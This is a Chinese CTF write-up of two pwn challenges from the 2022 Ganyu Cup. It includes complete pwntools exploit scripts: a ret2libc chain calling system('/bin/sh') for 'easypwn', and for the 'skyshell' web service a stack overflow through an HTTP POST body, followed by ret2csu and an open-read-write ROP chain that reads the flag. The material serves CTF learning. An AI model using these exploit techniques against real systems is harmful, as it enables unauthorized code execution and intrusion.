2022赣育杯pwn

题目

链接:https://pan.baidu.com/s/1rQX4lia6soaMQs23fjvshQ?pwd=unfx
提取码:unfx

easypwn

在这里插入图片描述
ida看一下,一道有关libc的溢出,而且还不用自己泄露地址,程序就直接给了puts地址,而且题目直接给了libc
再算出system"/bin/sh"的地址
直接上exp

from pwn import *

binary = "./pwn"
elf = ELF(binary)
libc = ELF("libc.so.6")
ip = '192.168.39.81'
port = 20001
local = 0
if local:
	io = process(binary)
else:
	io = remote(ip, port)

#context.log_level = "debug"

def debug():
	gdb.attach(io)
	pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

ret = 0x040101a
pop_rdi = 0x0401273

io.recvuntil("0x")
puts_addr = int(io.recv(12),16)
lg('puts_addr')

base = puts_addr - libc.sym['puts']

sys_addr = base + libc.sym['system']
sh_addr  = base + next(libc.search(b'/bin/sh'))

payload = b'a'*0x108 + p64(ret) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)

sl(payload)

ia()

skyshell

比赛的时候,这个题目零解。我也比较少接触这样的题目,主要是它还有一个web端,看来有个师傅说的没错,有些pwn题浏览器也可以打开[哭笑]。
这里主要还是学习了Leof师傅的博客
https://le0f.github.io/2022/10/11/2022%E8%B5%A3%E8%82%B2%E6%9D%AFpwn1-skyshell%E9%A2%98%E8%A7%A3/#more
我这里主要还是以复现为主

用C++实现的web服务,单纯的C++题目代码已经不好读了,再结合web,就是难上加难了。
赛方是给了提示的

查找write命令网络响应内容的关键字,定位到该位置进行分析

启动start,
在这里插入图片描述

要不是给了提示,我都会不知道可以看web端,
在这里插入图片描述

通过对shell.js的分析,发现这个flag是假的
在这里插入图片描述
当去运行 ./pwn ,随便输入数据,返回的全是错误页面的信息
在这里插入图片描述

前段大部分命令都是前段控制输出的,所以,我们要找到前端是怎么和后端进行交互的
在这里插入图片描述
阅读这里的代码,知道了write命令是对后端进行了get和post请求

分析二进制文件,这里是返回的错误页面信息的代码
在这里插入图片描述
这个函数就是解析http报文的
在这里插入图片描述
也就是说只有返回值不为1,才不会输出错误信息,函数里面就有正确的输入格式。更简单的方法,通过抓包能直接拿到http的报文,得到正确的输入格式。也就是说前端会返回正确的http格式,如果我们拿到这个格式,我们就可以直接在二进制下面操作了
write用get传参,msg使用post传参,可以看到后端是有数据显示的
在这里插入图片描述

可以试着把没有用的数据删掉,发包,会得到具有回显的精炼的格式
在这里插入图片描述

得到精炼的http包,也就是我们的输入格式

POST /?request=write HTTP/1.1
Content-Length: 12
msg=aaaaaaaa

在二进制文件中定位,write关键字,找到hackme::work::work::handle_post()函数
在这里插入图片描述
v1 应该就是我们post发送数据的长度,v2就是我们post发送的数据了

这里有memcpy()函数,从v2拷贝v1长度的数据到dest中,dest在栈上的偏移是0x5d0。v2 v1 可以控制,存在栈溢出。
所以在post请求里发送大于0x5d0字节的数据试试
在这里插入图片描述
连接直接就崩了
在这里插入图片描述
后端也崩溃了,说明了溢出是起作用的
利用的方法是ret2csu构造orw

from pwn import *

binary = "./pwn"
elf = ELF(binary)
ip = '127.0.0.1'
port = 8888
local = 1
if local:
    io = process(binary)
else:
    io = remote(ip, port)

#context.log_level = "debug"

def debug():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def post(con):
    payload = b'POST /?request=write HTTP/1.1\r\n'
    payload += b'Content-Length: ' + str(len(con)).encode() + b'\r\n'
    payload += b'\r\n'
    payload += con
    s(payload) 


leave_ret = 0x403669
pop_rbp = 0x403590
bss = elf.bss() + 0x500

gadget1 = 0x411260  #call r12
gadget2 = 0x41127A  #6 pop ret
def ret2csu(rdi, rsi, rdx, r12):
    payload = b''
    payload += p64(gadget2) + p64(0) + p64(1) + p64(r12) + p64(rdi) + p64(rsi) + p64(rdx)
    payload += p64(gadget1) + b'\x00' * 0x38
    return payload

pop_rdi = 0x411283
pop_rsi = 0x409c7a
payload = b'a' * 0x5d8 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(elf.plt['read'])
payload += p64(pop_rbp) + p64(bss) + p64(leave_ret)
#gdb.attach(io, 'b* 0x404767')
#gdb.attach(io, 'b* 0x404739')

post(payload)


orw = b'flag' + p32(0)
orw += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(elf.plt['open'])
orw += ret2csu(0x30, bss + 0x200, 3, elf.got['read'])
orw += p64(pop_rdi) + p64(1) + p64(elf.plt['write'])
sl(orw)
ia()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值